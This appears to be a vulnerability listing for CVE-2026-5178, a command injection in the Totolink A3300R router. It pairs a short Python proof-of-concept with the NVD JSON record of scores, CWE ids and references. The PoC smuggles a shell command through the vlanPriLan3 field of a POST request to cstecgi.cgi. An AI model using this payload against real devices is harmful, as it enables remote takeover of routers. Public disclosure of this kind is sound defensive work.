CVE-2026-5178

import requests # Target URL target_url = "http://<TARGET_IP>/cgi-bin/cstecgi.cgi" # Headers headers = { "User-Agent": "Mozilla/5.0", "Content-Type": "application/x-www-form-urlencoded" } # Payload data injecting command via vlanPriLan3 # Example: Ping back to attacker or execute a shell command payload = { "action": "setIptvCfg", "vlanPriLan3": "1; echo 'CVE-2026-5178 Vulnerable' > /tmp/poc.txt; #" } try: # Sending POST request response = requests.post(target_url, headers=headers, data=payload, timeout=10) if response.status_code == 200: print("[+] Request sent successfully.") print(f"[+] Response: {response.text}") else: print(f"[-] Failed to send request. Status code: {response.status_code}") except Exception as e: print(f"[-] An error occurred: {e}")

{"cve": {"id": "CVE-2026-5178", "sourceIdentifier": "[email protected]", "published": "2026-03-31T04:16:45.660", "lastModified": "2026-04-29T01:00:01.613", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A security vulnerability has been detected in Totolink A3300R 17.0.0cu.557_b20221024. Affected by this issue is the function setIptvCfg of the file /cgi-bin/cstecgi.cgi. The manipulation of the argument vlanPriLan3 leads to command injection. Remote exploitation of the attack is possible. The exploit has been disclosed publicly and may be used."}, {"lang": "es", "value": "Una vulnerabilidad de seguridad ha sido detectada en Totolink A3300R 17.0.0cu.557_b20221024. Afectada por este problema es la función setIptvCfg del archivo /cgi-bin/cstecgi.cgi. La manipulación del argumento vlanPriLan3 conduce a inyección de comandos. La explotación remota del ataque es posible. El exploit ha sido divulgado públicamente y puede ser utilizado."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 2.1, "baseSeverity": "LOW", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "LOW", "vulnIntegrityImpact": "LOW", "vulnAvailabilityImpact": "LOW", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "PROOF_OF_CONCEPT", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L", "baseScore": 6.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.8, "impactScore": 3.4}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}], "cvssMetricV2": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "2.0", "vectorString": "AV:N/AC:L/Au:S/C:P/I:P/A:P", "baseScore": 6.5, "accessVector": "NETWORK", "accessComplexity": "LOW", "authentication": "SINGLE", "confidentialityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "availabilityImpact": "PARTIAL"}, "baseSeverity": "MEDIUM", "exploitabilityScore": 8.0, "impactScore": 6.4, "acInsufInfo": false, "obtainAllPrivilege": false, "obtainUserPrivilege": false, "obtainOtherPrivilege": false, "userInteractionRequired": false}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-74"}, {"lang": "en", "value": "CWE-77"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:totolink:a3300r_firmware:17.0.0cu.557_b20221024:*:*:*:*:*:*:*", "matchCriteriaId": "DD39B647-3419-4C6D-A6A2-30F40822A27D"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:totolink:a3300r:-:*:*:*:*:*:*:*", "matchCriteriaId": "7F723A73-4B32-4F9E-B5DA-80134D4711C1"}]}]}], "references": [{"url": "https://github.com/LvHongW/Vuln-of-totolink_A3300R/tree/main/A3300R_vlanPriLan3_cmd_inject", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}, {"url": "https://vuldb.com/submit/779147", "source": "[email protected]", "tags": ["Third Party Advisory", "VDB Entry"]}, {"url": "https://vuldb.com/vuln/354246", "source": "cna@ ... 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